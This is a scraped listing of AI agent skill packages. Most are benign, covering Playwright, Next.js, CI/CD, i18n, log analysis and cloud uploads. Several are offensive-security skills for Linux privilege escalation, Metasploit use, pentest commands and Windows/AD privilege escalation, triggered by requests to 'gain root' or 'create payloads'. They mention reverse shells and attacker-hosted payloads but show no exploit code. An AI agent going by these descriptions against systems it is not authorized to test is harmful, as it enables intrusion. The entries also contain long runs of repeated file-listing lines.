This skill should be used when the user asks to "escalate privileges on Linux", "find privesc vectors on Linux systems", "exploit sudo misconfigurations", "abuse SUID binaries", "exploit cron jobs for root access", "enumerate Linux systems for privilege escalation", or "gain root access from low-privilege shell". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.
What it loads into context
Frontmatter
116 tokensAlways available to the agent
SKILL.md
3,258 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs / Prerequisites
- Outputs / Deliverables
- Core Workflow
- Quick Reference
- Constraints and Guardrails
- Examples
- Troubleshooting
Files
SKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytesSKILL.mdcore11,730 bytes
Read SKILL.md
# Linux Privilege Escalation
## Purpose
Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.
## Inputs / Prerequisites
### Required Access
- Low-privilege shell access to target Linux system
- Ability to execute commands (interactive or semi-interactive shell)
- Network access for reverse shell connections (if needed)
- Attacker machine for payload hosting and receiving shells
View the complete source on GitHublinux-shell-scripting
When your agent uses it
This skill should be used when the user asks to "create bash scripts", "automate Linux tasks", "monitor system resources", "backup files", "manage users", or "write production shell scripts". It provides ready-to-use shell script templates for system administration.
What it loads into context
Frontmatter
78 tokensAlways available to the agent
SKILL.md
3,362 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
Files
SKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytesSKILL.mdcore12,408 bytes
Read SKILL.md
# Linux Production Shell Scripts
## Purpose
Provide production-ready shell script templates for common Linux system administration tasks including backups, monitoring, user management, log analysis, and automation. These scripts serve as building blocks for security operations and penetration testing environments.
## Prerequisites
### Required Environment
- Linux/Unix system (bash shell)
- Appropriate permissions for tasks
- Required utilities installed (rsync, openssl, etc.)
### Required KnowledgeView the complete source on GitHublocalization-toolkit
When your agent uses it
This skill should be used when setting up, auditing, or enforcing internationalization/localization in UI codebases (React/TS, i18next or similar, JSON locales), including installing/configuring the i18n framework, replacing hard-coded strings, ensuring en-US/zh-CN coverage, mapping error codes to localized messages, and validating key parity, pluralization, and formatting.
What it loads into context
Frontmatter
85 tokensAlways available to the agent
SKILL.md
1,230 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Overview
- Core Capabilities
- Scope Inputs (ask if unclear)
- Workflow (Audit -> Fix -> Validate)
- Guardrails
- Deliverables (expected outputs)
- Architecture Guidance (keep concise)
- Performance Notes (short)
- Failure Modes (watchlist)
- Validation Checklist (short)
- Resources
Scripts executed separately
scripts/i18n_audit.py
Files
LICENSEasset1,064 bytesSKILL.mdcore5,272 bytesSKILL.mdcore5,272 bytesSKILL.mdcore5,272 bytesscripts/i18n_audit.pyruns4,912 bytes
Read SKILL.md
# I18n Expert
## Overview
Deliver a complete i18n setup + audit pass: configure the i18n framework, replace user-facing strings with keys, ensure locale parity, and validate pluralization/formatting for en-US and zh-CN.
## Core Capabilities
- Library selection and setup (React, Next.js, Vue).
- Key architecture and locale file organization.
- Translation generation and quality strategy (AI, professional, manual).
- Routing and language detection/switching.
- SEO and metadata localization (when applicable).
- RTL support (only if RTL locales are in scope).View the complete source on GitHublog-error-digest
When your agent uses it
Analyze log files to troubleshoot errors, identify peak error periods, and produce error clustering, frequency statistics, and time distribution reports. Supports JSON, syslog, and Nginx formats with automatic detection. Use when a user uploads a .log file and asks to analyze errors, find patterns, debug issues, or get distribution stats.
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
1,060 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Features
- Supported Log Formats
- Usage
- Output
Scripts executed separately
scripts/analyze_logs.py
Files
LICENSEasset1,082 bytesSKILL.mdcore3,862 bytesSKILL.mdcore3,862 bytesSKILL.mdcore3,862 bytesscripts/analyze_logs.pyruns13,327 bytes
Read SKILL.md
# Log Error Digest
Automated log file analysis that produces error clustering, frequency statistics, and time distribution reports.
## Features
- **Error Clustering**: Groups similar error messages by normalizing dynamic parts (IPs, UUIDs, numbers, etc.) to identify root causes
- **Frequency Statistics**: Counts occurrences by error type, sorted by severity
- **Time Distribution**: Shows error distribution by hour and by date, helping pinpoint peak error periods
## Supported Log Formats
| Format | Description | Auto-detection |
|--------|-------------|----------------|View the complete source on GitHubmetasploit-framework
When your agent uses it
This skill should be used when the user asks to "use Metasploit for penetration testing", "exploit vulnerabilities with msfconsole", "create payloads with msfvenom", "perform post-exploitation", "use auxiliary modules for scanning", or "develop custom exploits". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments.
What it loads into context
Frontmatter
96 tokensAlways available to the agent
SKILL.md
3,566 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Prerequisites
- Outputs and Deliverables
- Core Workflow
- Quick Reference
- Constraints and Limitations
- Troubleshooting
Files
SKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytesSKILL.mdcore13,213 bytes
Read SKILL.md
# Metasploit Framework
## Purpose
Leverage the Metasploit Framework for comprehensive penetration testing, from initial exploitation through post-exploitation activities. Metasploit provides a unified platform for vulnerability exploitation, payload generation, auxiliary scanning, and maintaining access to compromised systems during authorized security assessments.
## Prerequisites
### Required Tools
```bash
# Metasploit comes pre-installed on Kali Linux
# For other systems:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstallView the complete source on GitHubnetwork-101
When your agent uses it
This skill should be used when the user asks to "set up a web server", "configure HTTP or HTTPS", "perform SNMP enumeration", "configure SMB shares", "test network services", or needs guidance on configuring and testing network services for penetration testing labs.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
2,029 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Core Workflow
- Quick Reference
- Constraints
- Examples
- Troubleshooting
Files
SKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytesSKILL.mdcore7,480 bytes
Read SKILL.md
# Network 101
## Purpose
Configure and test common network services (HTTP, HTTPS, SNMP, SMB) for penetration testing lab environments. Enable hands-on practice with service enumeration, log analysis, and security testing against properly configured target systems.
## Inputs/Prerequisites
- Windows Server or Linux system for hosting services
- Kali Linux or similar for testing
- Administrative access to target system
- Basic networking knowledge (IP addressing, ports)
- Firewall access for port configuration
View the complete source on GitHubnextjs-developer
When your agent uses it
Use when building Next.js 14+ applications with App Router, server components, or server actions. Invoke for full-stack features, performance optimization, SEO implementation, production deployment.
What it loads into context
Frontmatter
136 tokensAlways available to the agent
SKILL.md
809 tokensWhen the skill is activated
Reference documents
11,929 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Role Definition
- When to Use This Skill
- Core Workflow
- Reference Guide
- Constraints
- Output Templates
- Knowledge Reference
Files
SKILL.mdcore3,861 bytesreferences/app-router.mddoc7,105 bytesreferences/data-fetching.mddoc10,598 bytesreferences/deployment.mddoc10,705 bytesreferences/server-actions.mddoc9,842 bytesreferences/server-components.mddoc8,439 bytes
Read SKILL.md
# Next.js Developer
Senior Next.js developer with expertise in Next.js 14+ App Router, server components, and full-stack deployment with focus on performance and SEO excellence.
## Role Definition
You are a senior full-stack developer with 10+ years of React/Next.js experience. You specialize in Next.js 14+ App Router (NOT Pages Router), React Server Components, server actions, and production-grade deployment. You build blazing-fast, SEO-optimized applications achieving Core Web Vitals scores > 90.
## When to Use This Skill
- Building Next.js 14+ applications with App Router
- Implementing server components and server actions
- Setting up data fetching, caching, and revalidation
- Optimizing performance (images, fonts, bundles)View the complete source on GitHubpentest-checklist
When your agent uses it
This skill should be used when the user asks to "plan a penetration test", "create a security assessment checklist", "prepare for penetration testing", "define pentest scope", "follow security testing best practices", or needs a structured methodology for penetration testing engagements.
What it loads into context
Frontmatter
77 tokensAlways available to the agent
SKILL.md
2,241 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Core Workflow
- Quick Reference
- Constraints
- Examples
- Troubleshooting
Files
SKILL.mdcore10,219 bytesSKILL.mdcore10,219 bytesSKILL.mdcore10,219 bytesSKILL.mdcore10,219 bytes
Read SKILL.md
# Pentest Checklist
## Purpose
Provide a comprehensive checklist for planning, executing, and following up on penetration tests. Ensure thorough preparation, proper scoping, and effective remediation of discovered vulnerabilities.
## Inputs/Prerequisites
- Clear business objectives for testing
- Target environment information
- Budget and timeline constraints
- Stakeholder contacts and authorization
- Legal agreements and scope documents
View the complete source on GitHubpentest-commands
When your agent uses it
This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
3,204 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Core Workflow
- Quick Reference
- Constraints
- Examples
- Troubleshooting
Files
SKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytesSKILL.mdcore9,417 bytes
Read SKILL.md
# Pentest Commands
## Purpose
Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
## Inputs/Prerequisites
- Kali Linux or penetration testing distribution
- Target IP addresses with authorization
- Wordlists for brute forcing
- Network access to target systems
- Basic understanding of tool syntax
View the complete source on GitHubpipeline-blueprint
When your agent uses it
Provide CI/CD best practices and pipeline templates for GitHub Actions and GitLab CI, recommending configurations based on project type (frontend, backend, fullstack, library, monorepo, mobile). Trigger when users ask about setting up CI/CD, automating builds, improving pipelines, or mention keywords like GitHub Actions, GitLab CI, pipeline templates, or deployment automation.
What it loads into context
Frontmatter
87 tokensAlways available to the agent
SKILL.md
3,833 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- How to Use
- General Best Practices
- Project Type Templates
- Advanced Patterns
- Decision Guide: Which Template to Use
Files
LICENSEasset1,070 bytesSKILL.mdcore14,750 bytes
Read SKILL.md
# CI/CD Configuration Best Practices
This skill provides CI/CD pipeline templates and best practices for **GitHub Actions** and **GitLab CI**. It recommends configurations based on project type, helping teams quickly set up reliable, secure, and efficient pipelines.
## How to Use
When a user describes their project (language, framework, deployment target), recommend the most appropriate pipeline template below. Adapt stages, caching strategies, and deployment steps to match their stack.
---
## General Best Practices
### Pipeline Design Principles
View the complete source on GitHubplaywright-skill
When your agent uses it
Battle-tested Playwright patterns for E2E, API, component, visual, accessibility, and security testing. Covers locators, fixtures, POM, network mocking, auth flows, debugging, CI/CD (GitHub Actions, GitLab, CircleCI, Azure, Jenkins), framework recipes (React, Next.js, Vue, Angular), and migration guides from Cypress/Selenium. TypeScript and JavaScript.
What it loads into context
Frontmatter
90 tokensAlways available to the agent
SKILL.md
2,243 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Golden Rules
- Guide Index
- Language Note
Files
LICENSEasset1,065 bytesSKILL.mdcore12,090 bytes
Read SKILL.md
# Playwright Skill
> Opinionated, production-tested Playwright guidance — every pattern includes when (and when _not_) to use it.
**50+ reference guides** covering the full Playwright surface: selectors, assertions, fixtures, page objects, network mocking, auth, visual regression, accessibility, API testing, CI/CD, debugging, and more — with TypeScript and JavaScript examples throughout.
## Golden Rules
1. **`getByRole()` over CSS/XPath** — resilient to markup changes, mirrors how users see the page
2. **Never `page.waitForTimeout()`** — use `expect(locator).toBeVisible()` or `page.waitForURL()`
3. **Web-first assertions** — `expect(locator)` auto-retries; `expect(await locator.textContent())` does not
4. **Isolate every test** — no shared state, no execution-order dependencies
5. **`baseURL` in config** — zero hardcoded URLs in tests
6. **Retries: `2` in CI, `0` locally** — surface flakiness where it mattersView the complete source on GitHubplaywright-ci
When your agent uses it
Production-ready CI/CD configurations for Playwright — GitHub Actions, GitLab CI, CircleCI, Azure DevOps, Jenkins, Docker, parallel sharding, reporting, code coverage, and global setup/teardown.
What it loads into context
Frontmatter
51 tokensAlways available to the agent
SKILL.md
552 tokensWhen the skill is activated
Reference documents
34,267 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Golden Rules
- Guide Index
Files
SKILL.mdcore2,719 bytesci-github-actions.mddoc17,540 bytesci-gitlab.mddoc12,567 bytesci-other.mddoc16,511 bytesdocker-and-containers.mddoc14,051 bytesglobal-setup-teardown.mddoc18,219 bytesparallel-and-sharding.mddoc16,129 bytesprojects-and-dependencies.mddoc19,242 bytesreporting-and-artifacts.mddoc17,277 bytestest-coverage.mddoc15,619 bytes
Read SKILL.md
# Playwright CI/CD
> Ship reliable tests in every pipeline — CI-specific patterns for speed, stability, and actionable reports.
**9 guides** covering CI/CD setup, parallel execution, containerized runs, reporting, and infrastructure patterns for all major CI providers.
## Golden Rules
1. **`retries: 2` in CI only** — surface flakiness in pipelines, not locally
2. **`traces: 'on-first-retry'`** — capture rich debugging artifacts without slowing every run
3. **Shard across runners** — `--shard=N/M` splits tests evenly; scale horizontally, not vertically
4. **Cache browser binaries** — `~/.cache/ms-playwright` keyed on Playwright version
5. **Upload artifacts on failure** — traces, screenshots, and HTML reports as CI artifacts
6. **Use the official Docker image** — `mcr.microsoft.com/playwright:v*` has all OS deps pre-installedView the complete source on GitHubplaywright-core
When your agent uses it
Battle-tested Playwright patterns for E2E, API, component, visual, accessibility, and security testing. Covers locators, assertions, fixtures, network mocking, auth flows, debugging, and framework recipes for React, Next.js, Vue, and Angular. TypeScript and JavaScript.
What it loads into context
Frontmatter
65 tokensAlways available to the agent
SKILL.md
1,450 tokensWhen the skill is activated
Reference documents
357,055 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Golden Rules
- Guide Index
Files
SKILL.mdcore7,796 bytesaccessibility.mddoc54,525 bytesangular.mddoc41,694 bytesapi-testing.mddoc52,615 bytesassertions-and-waiting.mddoc27,436 bytesauth-flows.mddoc33,349 bytesauthentication.mddoc49,862 bytesbrowser-apis.mddoc24,555 bytesbrowser-extensions.mddoc14,980 bytescanvas-and-webgl.mddoc20,306 bytesclock-and-time-mocking.mddoc19,948 bytescommon-pitfalls.mddoc45,467 bytescomponent-testing.mddoc47,533 bytesconfiguration.mddoc25,604 bytescrud-testing.mddoc31,801 bytesdebugging.mddoc27,166 bytesdrag-and-drop.mddoc29,416 byteselectron-testing.mddoc22,920 byteserror-and-edge-cases.mddoc40,092 byteserror-index.mddoc59,573 bytesfile-operations.mddoc26,731 bytesfile-upload-download.mddoc30,292 bytesfixtures-and-hooks.mddoc33,733 bytesflaky-tests.mddoc31,740 bytesforms-and-validation.mddoc40,087 bytesi18n-and-localization.mddoc24,976 bytesiframes-and-shadow-dom.mddoc21,002 byteslocator-strategy.mddoc20,612 byteslocators.mddoc28,960 bytesmobile-and-responsive.mddoc59,558 bytesmulti-context-and-popups.mddoc22,883 bytesmulti-user-and-collaboration.mddoc20,506 bytesnetwork-mocking.mddoc45,898 bytesnextjs.mddoc36,980 bytesperformance-testing.mddoc23,537 bytesreact.mddoc39,517 bytessearch-and-filter.mddoc44,196 bytessecurity-testing.mddoc25,787 bytesservice-workers-and-pwa.mddoc20,825 bytestest-architecture.mddoc25,090 bytestest-data-management.mddoc36,538 bytestest-organization.mddoc31,279 bytesthird-party-integrations.mddoc31,081 bytesvisual-regression.mddoc36,295 bytesvue.mddoc39,496 byteswebsockets-and-realtime.mddoc21,331 byteswhen-to-mock.mddoc28,648 bytes
Read SKILL.md
# Playwright Core Testing
> Opinionated, production-tested Playwright guidance — every pattern includes when (and when _not_) to use it.
**46 reference guides** covering the full Playwright testing surface: selectors, assertions, fixtures, network mocking, auth, visual regression, accessibility, API testing, debugging, and more — with TypeScript and JavaScript examples throughout.
## Golden Rules
1. **`getByRole()` over CSS/XPath** — resilient to markup changes, mirrors how users see the page
2. **Never `page.waitForTimeout()`** — use `expect(locator).toBeVisible()` or `page.waitForURL()`
3. **Web-first assertions** — `expect(locator)` auto-retries; `expect(await locator.textContent())` does not
4. **Isolate every test** — no shared state, no execution-order dependencies
5. **`baseURL` in config** — zero hardcoded URLs in tests
6. **Retries: `2` in CI, `0` locally** — surface flakiness where it mattersView the complete source on GitHubplaywright-migration
When your agent uses it
Step-by-step migration guides for moving to Playwright from Cypress or Selenium/WebDriver — command mappings, architecture changes, and incremental adoption strategies.
What it loads into context
Frontmatter
36 tokensAlways available to the agent
SKILL.md
136 tokensWhen the skill is activated
Reference documents
20,564 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Guide Index
Files
SKILL.mdcore751 bytesfrom-cypress.mddoc48,530 bytesfrom-selenium.mddoc46,125 bytes
Read SKILL.md
# Playwright Migration Guides
> Move to Playwright with confidence — side-by-side command mappings, architecture translations, and incremental migration strategies.
**2 guides** covering complete migration paths from the most popular testing frameworks.
## Guide Index
| Migrating from | Guide |
| -------------------- | ------------------------------------ |
| Cypress | [from-cypress.md](from-cypress.md) |
| Selenium / WebDriver | [from-selenium.md](from-selenium.md) |View the complete source on GitHubplaywright-cli
When your agent uses it
Automates browser interactions for web testing, form filling, screenshots, and data extraction using playwright-cli. Use when the user needs to navigate websites, interact with web pages, fill forms, take screenshots, test web applications, extract information from web pages, mock network requests, manage browser sessions, or generate test code.
What it loads into context
Frontmatter
79 tokensAlways available to the agent
SKILL.md
1,985 tokensWhen the skill is activated
Reference documents
30,330 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Golden Rules
- Command Reference
- Guide Index
Files
SKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesSKILL.mdcore9,519 bytesadvanced-workflows.mddoc18,762 bytescore-commands.mddoc10,821 bytesdevice-emulation.mddoc13,427 bytesrequest-mocking.mddoc10,669 bytesrunning-custom-code.mddoc15,126 bytesscreenshots-and-media.mddoc10,590 bytessession-management.mddoc9,750 bytesstorage-and-auth.mddoc11,473 bytestest-generation.mddoc11,354 bytestracing-and-debugging.mddoc12,412 bytes
Read SKILL.md
# Browser Automation with playwright-cli
> Comprehensive CLI-driven browser automation — navigate, interact, mock, debug, record, and generate tests without writing a single script file.
## Quick Start
```bash
# Install and set up
playwright-cli install --skills
playwright-cli install-browser
# Open a browser and navigate
playwright-cli open https://playwright.dev
View the complete source on GitHubplaywright-pom
When your agent uses it
Page Object Model patterns for Playwright — when to use POM, how to structure page objects, and when fixtures or helpers are a better fit.
What it loads into context
Frontmatter
38 tokensAlways available to the agent
SKILL.md
160 tokensWhen the skill is activated
Reference documents
14,366 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Guide Index
Files
SKILL.mdcore851 bytespage-object-model.mddoc29,426 bytespom-vs-fixtures-vs-helpers.mddoc32,993 bytes
Read SKILL.md
# Playwright Page Object Model
> Structure your test code for maintainability — know when POM helps and when simpler patterns win.
**2 guides** covering Page Object Model implementation and the decision framework for choosing between POM, fixtures, and helpers.
## Guide Index
| Topic | Guide |
| -------------------------- | -------------------------------------------------------------- |
| Page Object Model patterns | [page-object-model.md](page-object-model.md) |
| POM vs fixtures vs helpers | [pom-vs-fixtures-vs-helpers.md](pom-vs-fixtures-vs-helpers.md) |View the complete source on GitHubprivilege-escalation-methods
When your agent uses it
This skill should be used when the user asks to "escalate privileges", "get root access", "become administrator", "privesc techniques", "abuse sudo", "exploit SUID binaries", "Kerberoasting", "pass-the-ticket", "token impersonation", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems.
What it loads into context
Frontmatter
101 tokensAlways available to the agent
SKILL.md
2,297 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Purpose
- Inputs/Prerequisites
- Outputs/Deliverables
- Core Techniques
- Quick Reference
- Constraints
- Examples
- Troubleshooting
- Additional Resources
Files
SKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytesSKILL.mdcore8,115 bytes
Read SKILL.md
# Privilege Escalation Methods
## Purpose
Provide comprehensive techniques for escalating privileges from a low-privileged user to root/administrator access on compromised Linux and Windows systems. Essential for penetration testing post-exploitation phase and red team operations.
## Inputs/Prerequisites
- Initial low-privilege shell access on target system
- Kali Linux or penetration testing distribution
- Tools: Mimikatz, PowerView, PowerUpSQL, Responder, Impacket, Rubeus
- Understanding of Windows/Linux privilege models
- For AD attacks: Domain user credentials and network access to DC
View the complete source on GitHubproject-sizing-guide
When your agent uses it
Software project effort estimation assistant. Outputs three-point estimates (optimistic/most-likely/pessimistic values with confidence intervals), T-shirt sizes, or Function Point Analysis (FPA) counts. Triggered when users ask 'how long will this feature take,' need to assess project workload, perform PERT estimation, T-shirt sizing, FPA, sprint planning, or quote-based effort breakdowns.
What it loads into context
Frontmatter
94 tokensAlways available to the agent
SKILL.md
3,104 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- Method Selection Guide
- Method 1: Three-Point Estimation (PERT)
- Method 2: T-shirt Sizing
- Method 3: Function Point Analysis (FPA)
- Estimation Adjustment Factor Checklist
- Estimation Output Template
- Calculation Tool
- References
Scripts executed separately
scripts/estimate_calculator.py
Files
LICENSEasset1,086 bytesSKILL.mdcore12,372 bytesSKILL.mdcore12,372 bytesSKILL.mdcore12,372 bytesscripts/estimate_calculator.pyruns12,071 bytes
Read SKILL.md
# Project Sizing Guide — Software Project Effort Estimation
Helps teams produce scientifically grounded effort estimates for software projects, based on three major methodologies: Three-Point Estimation (PERT), T-shirt Sizing, and Function Point Analysis (FPA). Outputs optimistic, most-likely, and pessimistic values along with risk intervals.
## Quick Start
1. **User provides a requirements description** → Agent identifies functional modules and breaks them into a Work Breakdown Structure (WBS)
2. **Select an estimation method** → Choose the best-fit approach based on project stage and available information
3. **Estimate each item** → Assign O/M/P (Optimistic / Most Likely / Pessimistic) values to every work package
4. **Aggregate and report** → Generate an estimation report with risk analysis and confidence intervals
A calculation helper is available:
```bash
python3 scripts/estimate_calculator.py --method pert --tasks '[{"name":"User Login","O":2,"M":3,"P":8}]'View the complete source on GitHubr2-upload
When your agent uses it
Upload files to Cloudflare R2, AWS S3, or any S3-compatible storage (like MinIO) and generate secure, time-limited presigned download links with configurable expiration, typically set to 5 minutes. Use when the user needs to upload a file to cloud storage and get a shareable link, or mentions R2, S3, presigned URLs, temporary links, or file uploads with expiration.
What it loads into context
Frontmatter
140 tokensAlways available to the agent
SKILL.md
915 tokensWhen the skill is activated
Reference documents
1,912 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Features
- Configuration
- Setup
- Tools
- Environment Variables
- Notes
Scripts executed separately
package.jsonsrc/index.tssrc/onboard.ts
Files
README.mddoc3,010 bytesSECURITY.mddoc4,867 bytesSKILL.mdcore3,523 bytesSKILL.mdcore3,523 bytesSKILL.mdcore3,523 bytesexample-config.ymlasset1,158 bytespackage.jsonruns1,089 bytespnpm-lock.yamlasset79,104 bytessrc/index.tsruns12,130 bytessrc/onboard.tsruns7,304 bytestsconfig.jsonasset427 bytes
Read SKILL.md
# Send Me My Files - R2 Upload with Short Lived Signed URLs
Upload files to Cloudflare R2 or any S3-compatible storage and generate presigned download links.
## Features
- Upload files to R2/S3 buckets
- Generate presigned download URLs (configurable expiration)
- Support for any S3-compatible storage (R2, AWS S3, MinIO, etc.)
- Multiple bucket configurations
- Automatic content-type detection
## Configuration
View the complete source on GitHubr3f-animation
When your agent uses it
React Three Fiber animation - useFrame, useAnimations, spring physics, keyframes. Use when animating objects, playing GLTF animations, creating procedural motion, or implementing physics-based movement.
What it loads into context
Frontmatter
47 tokensAlways available to the agent
SKILL.md
5,938 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- useFrame Hook
